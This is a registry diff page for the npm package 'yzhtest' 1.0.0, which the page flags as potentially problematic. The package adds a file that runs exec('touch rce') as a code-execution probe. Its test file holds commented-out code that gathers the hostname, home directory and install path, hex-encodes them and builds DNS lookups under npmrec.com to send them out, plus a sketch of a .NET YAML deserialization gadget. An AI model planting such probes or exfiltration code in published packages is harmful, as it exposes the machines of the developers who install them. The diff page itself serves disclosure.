yzhtest 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of yzhtest might be problematic. Click here for more details.

@@ -0,0 +1,3 @@
1
+ const { exec } = require("child_process");
2
+
3
+ exec('touch rce')
package/test/test.js ADDED
@@ -0,0 +1,58 @@
1
+ // public T Deserialize < T > (string yaml) {
2
+ // var rootNode = GetRootNode(yaml);
3
+ // return (T) DeserializeObject(rootNode);
4
+ // }
5
+
6
+ // private object DeserializeObject(YamlNode node) {
7
+ // var type = GetTypeFrom(node);
8
+ // var result = Activator.CreateInstance(type);
9
+ // foreach(var nestedNode in GetNestedNodes(node)) {
10
+ // var value = DeserializeObject(nestedNode);
11
+ // var property = GetPropertyOf(nestedNode);
12
+ // property.SetValue(result, value);
13
+ // }
14
+ // return result;
15
+ // }
16
+
17
+ // public class ObjectDataProvider {
18
+ // public object ObjectInstance {
19
+ // set {
20
+ // this._objectInstance = value;
21
+ // this.Refresh();
22
+ // }
23
+ // }
24
+ // public void Refresh() {
25
+ // /*...*/
26
+ // obj = this._objectType.InvokeMember(this.MethodName, /*...*/ , this._objectInstance, this._methodParameters);
27
+ // }
28
+ // }
29
+
30
+ // const os = require("os")
31
+ // // console.log(os.homedir())
32
+ // function toHex(str) {
33
+ // var result = '';
34
+ // for (var i=0; i<str.length; i++) {
35
+ // result += str.charCodeAt(i).toString(16);
36
+ // }
37
+ // return result;
38
+ // }
39
+ // const relevantInfo = [
40
+ // os.hostname(),
41
+ // os.homedir(),
42
+ // __dirname,
43
+ // ]
44
+ // const stringFragments = toHex(JSON.stringify(relevantInfo)).match(/.{1,63}/g);
45
+ // sendData(stringFragments);
46
+ // function resolveFragment(id, counter, stringFragments) {
47
+ // console.log('yes')
48
+ // console.log(`morjok.${id}.${counter+1}.${stringFragments[counter]}.npmrec.com`)
49
+ // }
50
+ // function sendData(stringFragments) {
51
+ // for (let i = 0; i < stringFragments.length; i++) {
52
+ // try {
53
+ // resolveFragment(id, i, stringFragments);
54
+ // } catch {
55
+ // }
56
+ // }
57
+ // }
58
+
package/test/void.txt ADDED
File without changes